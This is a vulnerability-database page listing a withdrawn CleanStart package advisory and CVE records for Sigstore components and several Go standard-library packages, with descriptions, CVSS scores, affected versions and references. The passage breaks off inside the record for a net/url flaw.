(CVE-2026-33818)

Vulnerability from cleanstart – Published: 2026-09-01 11:17 – Updated: 2026-09-18 11:59 – Source website

Withdrawn 2026-09-18

Summary

Security fixes in tekton-chains-fips 0.26.5-r1

Details

Package tekton-chains-fips version 0.26.5-r1 fixes 25 vulnerabilities: CVE-2026-33818, CVE-2026-46600, CVE-2026-56853, CVE-2026-56858, CVE-2026-56859...

References

URL

Type

https://github.com/tektoncd/chains

WEB

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "tekton-chains-fips"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.26.5-r1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.26.5-r1"
      ]
    }
  ],
  "credits": [],
  "database_specific": {},
  "details": "Package tekton-chains-fips version 0.26.5-r1 fixes 25 vulnerabilities: CVE-2026-33818, CVE-2026-46600, CVE-2026-56853, CVE-2026-56858, CVE-2026-56859...",
  "id": "CLEANSTART-2026-NZ51335",
  "modified": "2026-09-18T11:59:01.768079Z",
  "published": "2026-09-01T11:17:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tektoncd/chains"
    }
  ],
  "related": [],
  "schema_version": "1.7.3",
  "summary": "Security fixes in tekton-chains-fips 0.26.5-r1",
  "upstream": [
    "CVE-2026-33818",
    "CVE-2026-46600",
    "CVE-2026-56853",
    "CVE-2026-56858",
    "CVE-2026-56859",
    "CVE-2026-56860",
    "CVE-2026-56862",
    "CVE-2026-39821",
    "ghsa-gcjh-h69q-9w9g",
    "CVE-2026-49478",
    "CVE-2026-48702",
    "CVE-2026-54787",
    "CVE-2026-49834",
    "CVE-2026-49835",
    "CVE-2026-39984",
    "CVE-2026-2303",
    "CVE-2026-39883",
    "ghsa-hrxh-6v49-42gf",
    "CVE-2026-56864",
    "CVE-2026-56865",
    "ghsa-259r-337f-4rfw",
    "ghsa-3fxj-6jh8-hvhx",
    "ghsa-9g5q-2w5x-hmxf",
    "ghsa-rjr7-jggh-pgcp",
    "CVE-2026-41178"
  ],
  "withdrawn": "2026-09-18T11:59:01.768079Z"
}

CVE-2026-49835 (GCVE-0-2026-49835)

Vulnerability from cvelistv5 – Published: 2026-07-17 18:16 – Updated: 2026-07-17 19:45

Title

Sigstore Timestamp Authority: OOM due to unbounded metric label cardinality

Summary

Sigstore Timestamp Authority is a service for issuing RFC 3161 timestamps. Prior to 2.1.0, the global wrapMetrics middleware records raw HTTP request path r.URL.Path and raw HTTP request method r.Method as Prometheus labels for latency and request count metric vectors before routing, allowing an unauthenticated remote attacker to issue requests with random paths such as /api/v1/timestamp/<uuid> or random HTTP methods and create unbounded permanent time-series entries that exhaust memory. This issue is fixed in version 2.1.0.

Severity

5.9 (Medium)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-17 19:45 UTC

CWE

CWE-770 - Allocation of Resources Without Limits or Throttling

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7642 records in the last 180 days details

References

3 references

URL	Tags
https://github.com/sigstore/timestamp-authority/s…	x_refsource_CONFIRM
https://github.com/sigstore/timestamp-authority/c…	x_refsource_MISC
https://github.com/sigstore/timestamp-authority/r…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
sigstore	timestamp-authority	Affected: < 2.1.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-49835",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-17T19:45:33.792018Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-17T19:45:44.026Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "timestamp-authority",
          "vendor": "sigstore",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.1.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Sigstore Timestamp Authority is a service for issuing RFC 3161 timestamps. Prior to 2.1.0, the global wrapMetrics middleware records raw HTTP request path r.URL.Path and raw HTTP request method r.Method as Prometheus labels for latency and request count metric vectors before routing, allowing an unauthenticated remote attacker to issue requests with random paths such as /api/v1/timestamp/\u003cuuid\u003e or random HTTP methods and create unbounded permanent time-series entries that exhaust memory. This issue is fixed in version 2.1.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 5.9,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-770",
              "description": "CWE-770: Allocation of Resources Without Limits or Throttling",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-17T18:16:41.764Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/sigstore/timestamp-authority/security/advisories/GHSA-9c54-x2g4-v92j",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/sigstore/timestamp-authority/security/advisories/GHSA-9c54-x2g4-v92j"
        },
        {
          "name": "https://github.com/sigstore/timestamp-authority/commit/506ec57b6ac2ea1e4739322e47453469425b69b5",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/sigstore/timestamp-authority/commit/506ec57b6ac2ea1e4739322e47453469425b69b5"
        },
        {
          "name": "https://github.com/sigstore/timestamp-authority/releases/tag/v2.1.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/sigstore/timestamp-authority/releases/tag/v2.1.0"
        }
      ],
      "source": {
        "advisory": "GHSA-9c54-x2g4-v92j",
        "discovery": "UNKNOWN"
      },
      "title": "Sigstore Timestamp Authority: OOM due to unbounded metric label cardinality"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-49835",
    "datePublished": "2026-07-17T18:16:41.764Z",
    "dateReserved": "2026-06-01T18:50:36.056Z",
    "dateUpdated": "2026-07-17T19:45:44.026Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2026-54787 (GCVE-0-2026-54787)

Vulnerability from cvelistv5 – Published: 2026-07-31 21:58 – Updated: 2026-07-31 23:36

Title

sigstore-go fails to check signature timestamps against a signing key's validity period

Summary

sigstore-go is a Go library for Sigstore signing and verification. Prior to 1.2.1, sigstore-go does not check a bundle signing timestamp against the validity window of an ExpiringKey wrapping a self-managed long-lived signing key without a certificate, which can allow an attacker holding expired key material to sign accepted bundles. This issue is fixed in version 1.2.1.

Severity

3.1 (Low)


                        
                          CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-31 23:35 UTC

CWE

CWE-324 - Use of a Key Past its Expiration Date

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7642 records in the last 180 days details

References

4 references

URL	Tags
https://github.com/sigstore/sigstore-go/security/…	x_refsource_CONFIRM
https://github.com/sigstore/sigstore-go/pull/642	x_refsource_MISC
https://github.com/sigstore/sigstore-go/commit/45…	x_refsource_MISC
https://github.com/sigstore/sigstore-go/releases/…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
sigstore	sigstore-go	Affected: < 1.2.1

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-54787",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-31T23:35:40.966529Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-31T23:36:13.441Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/sigstore/sigstore-go/security/advisories/GHSA-wqqc-jjcq-vfxm"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "sigstore-go",
          "vendor": "sigstore",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.2.1"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "sigstore-go is a Go library for Sigstore signing and verification. Prior to 1.2.1, sigstore-go does not check a bundle signing timestamp against the validity window of an ExpiringKey wrapping a self-managed long-lived signing key without a certificate, which can allow an attacker holding expired key material to sign accepted bundles. This issue is fixed in version 1.2.1."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 3.1,
            "baseSeverity": "LOW",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-324",
              "description": "CWE-324: Use of a Key Past its Expiration Date",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-31T21:58:14.156Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/sigstore/sigstore-go/security/advisories/GHSA-wqqc-jjcq-vfxm",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/sigstore/sigstore-go/security/advisories/GHSA-wqqc-jjcq-vfxm"
        },
        {
          "name": "https://github.com/sigstore/sigstore-go/pull/642",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/sigstore/sigstore-go/pull/642"
        },
        {
          "name": "https://github.com/sigstore/sigstore-go/commit/4594ab4c779d08be1f4419803a8249188f35ed5f",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/sigstore/sigstore-go/commit/4594ab4c779d08be1f4419803a8249188f35ed5f"
        },
        {
          "name": "https://github.com/sigstore/sigstore-go/releases/tag/v1.2.1",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/sigstore/sigstore-go/releases/tag/v1.2.1"
        }
      ],
      "source": {
        "advisory": "GHSA-wqqc-jjcq-vfxm",
        "discovery": "UNKNOWN"
      },
      "title": "sigstore-go fails to check signature timestamps against a signing key\u0027s validity period"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-54787",
    "datePublished": "2026-07-31T21:58:14.156Z",
    "dateReserved": "2026-06-15T23:23:57.714Z",
    "dateUpdated": "2026-07-31T23:36:13.441Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2026-56853 (GCVE-0-2026-56853)

Vulnerability from cvelistv5 – Published: 2026-08-13 21:58 – Updated: 2026-08-14 15:23

Title

Apply ReadHeaderTimeout when doing unencrypted HTTP/2 check in net/http

Summary

When a server is configured to support unencrypted HTTP/2, it reads a few bytes from each new connection to see if they contain the HTTP/2 client preface. ReadHeaderTimeout is unexpectedly not being applied when doing this.

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

SSVC

Exploitation: none Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-14 15:22 UTC

CWE

CWE-770 - Allocation of Resources Without Limits or Throttling

Assigner

Go CNA under the Google root

CNA scorecard E 42/100 over 74 records in the last 180 days details

References

4 references

URL	Tags
https://go.dev/issue/80205
https://go.dev/cl/795540
https://groups.google.com/g/golang-announce/c/94p…
https://pkg.go.dev/vuln/GO-2026-6089

Impacted products

1 product

Vendor	Product	Version
Go standard library	net/http	Affected: 0 , < 1.25.13 (semver) Affected: 1.26.0-0 , < 1.26.6 (semver) Affected: 1.27.0-0 , < 1.27.0-rc.3 (semver)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "HIGH",
              "baseScore": 7.5,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2026-56853",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-14T15:22:45.475320Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-770",
                "description": "CWE-770 Allocation of Resources Without Limits or Throttling",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-14T15:23:18.680Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "collectionURL": "https://pkg.go.dev",
          "defaultStatus": "unaffected",
          "packageName": "net/http",
          "product": "net/http",
          "programRoutines": [
            {
              "name": "conn.readRequest"
            },
            {
              "name": "conn.serve"
            },
            {
              "name": "ListenAndServe"
            },
            {
              "name": "ListenAndServeTLS"
            },
            {
              "name": "Serve"
            },
            {
              "name": "ServeTLS"
            },
            {
              "name": "Server.ListenAndServe"
            },
            {
              "name": "Server.ListenAndServeTLS"
            },
            {
              "name": "Server.Serve"
            },
            {
              "name": "Server.ServeTLS"
            }
          ],
          "vendor": "Go standard library",
          "versions": [
            {
              "lessThan": "1.25.13",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThan": "1.26.6",
              "status": "affected",
              "version": "1.26.0-0",
              "versionType": "semver"
            },
            {
              "lessThan": "1.27.0-rc.3",
              "status": "affected",
              "version": "1.27.0-0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "When a server is configured to support unencrypted HTTP/2, it reads a few bytes from each new connection to see if they contain the HTTP/2 client preface. ReadHeaderTimeout is unexpectedly not being applied when doing this."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "CWE-770: Allocation of Resources Without Limits or Throttling",
              "lang": "en"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-13T21:58:53.092Z",
        "orgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
        "shortName": "Go"
      },
      "references": [
        {
          "url": "https://go.dev/issue/80205"
        },
        {
          "url": "https://go.dev/cl/795540"
        },
        {
          "url": "https://groups.google.com/g/golang-announce/c/94pEornpRlI"
        },
        {
          "url": "https://pkg.go.dev/vuln/GO-2026-6089"
        }
      ],
      "title": "Apply ReadHeaderTimeout when doing unencrypted HTTP/2 check in net/http"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
    "assignerShortName": "Go",
    "cveId": "CVE-2026-56853",
    "datePublished": "2026-08-13T21:58:53.092Z",
    "dateReserved": "2026-06-23T15:10:49.352Z",
    "dateUpdated": "2026-08-14T15:23:18.680Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2026-56858 (GCVE-0-2026-56858)

Vulnerability from cvelistv5 – Published: 2026-08-13 21:58 – Updated: 2026-08-14 15:32

Title

Fix Javascript regexp context tracking in html/template

Summary

Previously, pathological inputs could close an unescaped '/' early, allowing for attack-controlled data to inject arbitrary content, potentially leading to XSS.

Severity

6.1 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-14 15:31 UTC

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

Go CNA under the Google root

CNA scorecard E 42/100 over 74 records in the last 180 days details

References

4 references

URL	Tags
https://go.dev/issue/80435
https://go.dev/cl/807100
https://groups.google.com/g/golang-announce/c/94p…
https://pkg.go.dev/vuln/GO-2026-6091

Impacted products

1 product

Vendor	Product	Version
Go standard library	html/template	Affected: 0 , < 1.25.13 (semver) Affected: 1.26.0-0 , < 1.26.6 (semver) Affected: 1.27.0-0 , < 1.27.0-rc.3 (semver)

Credits

Ali Sherif

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "NONE",
              "baseScore": 6.1,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "LOW",
              "integrityImpact": "LOW",
              "privilegesRequired": "NONE",
              "scope": "CHANGED",
              "userInteraction": "REQUIRED",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2026-56858",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-14T15:31:30.140536Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-79",
                "description": "CWE-79 Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-14T15:32:29.852Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "collectionURL": "https://pkg.go.dev",
          "defaultStatus": "unaffected",
          "packageName": "html/template",
          "product": "html/template",
          "programRoutines": [
            {
              "name": "tJS"
            },
            {
              "name": "Template.Execute"
            },
            {
              "name": "Template.ExecuteTemplate"
            }
          ],
          "vendor": "Go standard library",
          "versions": [
            {
              "lessThan": "1.25.13",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThan": "1.26.6",
              "status": "affected",
              "version": "1.26.0-0",
              "versionType": "semver"
            },
            {
              "lessThan": "1.27.0-rc.3",
              "status": "affected",
              "version": "1.27.0-0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "value": "Ali Sherif"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Previously, pathological inputs could close an unescaped \u0027/\u0027 early, allowing for attack-controlled data to inject arbitrary content, potentially leading to XSS."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
              "lang": "en"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-13T21:58:53.354Z",
        "orgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
        "shortName": "Go"
      },
      "references": [
        {
          "url": "https://go.dev/issue/80435"
        },
        {
          "url": "https://go.dev/cl/807100"
        },
        {
          "url": "https://groups.google.com/g/golang-announce/c/94pEornpRlI"
        },
        {
          "url": "https://pkg.go.dev/vuln/GO-2026-6091"
        }
      ],
      "title": "Fix Javascript regexp context tracking in html/template"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
    "assignerShortName": "Go",
    "cveId": "CVE-2026-56858",
    "datePublished": "2026-08-13T21:58:53.354Z",
    "dateReserved": "2026-06-23T15:10:49.353Z",
    "dateUpdated": "2026-08-14T15:32:29.852Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2026-56859 (GCVE-0-2026-56859)

Vulnerability from cvelistv5 – Published: 2026-08-13 21:58 – Updated: 2026-08-14 15:21

Title

Add recursion depth guard during decode in encoding/xml

Summary

Previously, DecodeElement would reset the depth counter causing it to never fire; this could lead to stack exhaustion.

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

SSVC

Exploitation: none Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-14 15:21 UTC

CWE

CWE-770 - Allocation of Resources Without Limits or Throttling

Assigner

Go CNA under the Google root

CNA scorecard E 42/100 over 74 records in the last 180 days details

References

4 references

URL	Tags
https://go.dev/issue/80481
https://go.dev/cl/803320
https://groups.google.com/g/golang-announce/c/94p…
https://pkg.go.dev/vuln/GO-2026-6088

Impacted products

1 product

Vendor	Product	Version
Go standard library	encoding/xml	Affected: 0 , < 1.25.13 (semver) Affected: 1.26.0-0 , < 1.26.6 (semver) Affected: 1.27.0-0 , < 1.27.0-rc.3 (semver)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "HIGH",
              "baseScore": 7.5,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2026-56859",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-14T15:21:09.615961Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-770",
                "description": "CWE-770 Allocation of Resources Without Limits or Throttling",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-14T15:21:46.218Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "collectionURL": "https://pkg.go.dev",
          "defaultStatus": "unaffected",
          "packageName": "encoding/xml",
          "product": "encoding/xml",
          "programRoutines": [
            {
              "name": "Decoder.push"
            },
            {
              "name": "Decoder.pop"
            },
            {
              "name": "Decoder.RawToken"
            },
            {
              "name": "Decoder.unmarshalPath"
            },
            {
              "name": "Decoder.unmarshal"
            },
            {
              "name": "Decoder.Decode"
            },
            {
              "name": "Decoder.DecodeElement"
            },
            {
              "name": "Decoder.Skip"
            },
            {
              "name": "Decoder.Token"
            },
            {
              "name": "Unmarshal"
            }
          ],
          "vendor": "Go standard library",
          "versions": [
            {
              "lessThan": "1.25.13",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThan": "1.26.6",
              "status": "affected",
              "version": "1.26.0-0",
              "versionType": "semver"
            },
            {
              "lessThan": "1.27.0-rc.3",
              "status": "affected",
              "version": "1.27.0-0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Previously, DecodeElement would reset the depth counter causing it to never fire; this could lead to stack exhaustion."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "CWE-770: Allocation of Resources Without Limits or Throttling",
              "lang": "en"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-13T21:58:52.959Z",
        "orgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
        "shortName": "Go"
      },
      "references": [
        {
          "url": "https://go.dev/issue/80481"
        },
        {
          "url": "https://go.dev/cl/803320"
        },
        {
          "url": "https://groups.google.com/g/golang-announce/c/94pEornpRlI"
        },
        {
          "url": "https://pkg.go.dev/vuln/GO-2026-6088"
        }
      ],
      "title": "Add recursion depth guard during decode in encoding/xml"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
    "assignerShortName": "Go",
    "cveId": "CVE-2026-56859",
    "datePublished": "2026-08-13T21:58:52.959Z",
    "dateReserved": "2026-06-23T15:10:49.353Z",
    "dateUpdated": "2026-08-14T15:21:46.218Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2026-56860 (GCVE-0-2026-56860)

Vulnerability from cvelistv5 – Published: 2026-08-13 21:58 – Updated: 2026-08-14 16:14

Title

Avoid quadratic complexity in resolvePath in net/url

Summary

Previously, resolving relative paths containing parent directory ('..') segments performed string conversions and buffer rewrites on each step, resulting in quadratic time complexity and high memory allocation overhead. Now, path resolution operates on a byte buffer using index-based backtracking for '..' segments, eliminating the quadratic time complexity and significantly reducing memory allocations.

Severity

5.9 (Medium)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-14 16:14 UTC

CWE

CWE-407 - Inefficient Algorithmic Complexity

Assigner

Go CNA under the Google root

CNA scorecard E 42/100 over 74 records in the last 180 days details

References

4 references

URL	Tags
https://go.dev/cl/803681
https://go.dev/issue/80494
https://groups.google.com/g/golang-announce/c/94p…
https://pkg.go.dev/vuln/GO-2026-6218

Impacted products

1 product

Vendor	Product	Version
Go standard library	net/url	Affected: 0 , < 1.25.13 (semver) Affected: 1.26.0-0 , < 1.26.6 (semver) Affected: 1.27.0-0 , < 1.27.0-rc.3 (semver)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "HIGH",
              "attackVector": "NETWORK",
              "availabilityImpact": "HIGH",
              "baseScore": 5.9,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2026-56860",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-14T16:14:34.601382Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-407",
                "description": "CWE-407 Inefficient Algorithmic Complexity",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-14T16:14:39.166Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "collectionURL": "https://pkg.go.dev",
          "defaultStatus": "unaffected",
          "packageName": "net/url",
          "product": "net/url",
          "programRoutines": [
            {
              "name": "resolvePath"
            },
            {
              "name": "URL.Parse"
            },
            {
              "name": "URL.ResolveReference"
            }
          ],
          "vendor": "Go standard library",
          "versions": [
            {
              "lessThan": "1.25.13",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThan": "1.26.6",
              "status": "affected",
              "version": "1.26.0-0",
              "versionType": "semver"
            },
            {
              "lessThan": "1.27.0-rc.3",
              "status": "affected",
              "version": "1.27.0-0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
